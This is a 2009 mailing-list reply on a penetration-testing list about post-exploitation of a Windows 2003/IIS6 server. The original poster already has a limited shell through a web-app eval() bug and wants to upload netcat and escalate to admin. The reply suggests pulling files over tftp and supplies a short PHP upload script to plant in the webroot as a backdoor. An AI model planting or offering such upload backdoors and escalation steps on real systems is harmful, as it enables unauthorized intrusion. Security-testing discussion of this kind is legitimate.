Re: clue on shell

2009/1/5 Ricardo Mourato <ricardomcm@xxxxxxxxx>:
i pentesting people, i've got a shell in a customers server, using an
webapp bug (eval() is evil()) :)
the server seems to run windows 2003 server, it's known that IIS6 "had
many security improvments", such as disabling the cmd.exe for the IIS
user, that's why i have used the old fashion "command.com" and voila,
i've got a shell, but it is very limited, i'm trying to upload some
programs, in order to get a better shell and get admin rights, btw the
server is also running plesk control panel , should i try this in a
possible way to get admin?

i know that sqlninja can upload files in debug script, i also thinked about that
i could echo "hex stuff" into %TEMP%/nc.scr for example

does anybondy knows how convert a binary in debug script?


See if tftp is on the box and use that to grab files.

If not then this php script will let you upload files, just put it in
the webroot then browse to it. It will upload the given file to
c:\temp\hacker_file.

<?php
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("file",
$_FILES)) {
move_uploaded_file ($_FILES['file']["tmp_name"], "c:\\temp\hacker_file");
}
?>
<form method="post" action="<?=$_SERVER['PHP_SELF']?>"
enctype="multipart/form-data">
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="submit" />
</form>


Robin

Relevant Pages

  • Re: FILE structure
    ... > with my own datas, as I'd like to use the same function but not from a form, ... > but from a self created PHP script. ... Are you aware that filling the array won't automagically upload files? ... > directory of the server). ...
    (comp.lang.php)
  • Re: form upload issue
    ... Per this KB article "How to upload files to a Web Server in FrontPage ... Windows server running IIS. ...
    (microsoft.public.frontpage.client)
  • Re: Storing images for a web application.
    ... upload files on the server as their avatar. ... Its been my experience that the WAR file is exploded and then ... I'm not sure about JBoss, but I know that Resin can serve actual ...
    (comp.lang.java.programmer)
  • Sensitive information in applet source code
    ... I have made an applet which works as a simple FTP client. ... upload files to a server when the files are ... The applet is signed and everything, ... and password used to log in to the FTP server? ...
    (comp.lang.java.security)
  • Re: Windows 2000 Server problem with FTP.EXE
    ... Is it so that in Win 2000 SERVER the standard FTP.EXE program cannot ... upload files with long file names when running in DOS shell? ... But fails on this one. ...
    (microsoft.public.win2000.general)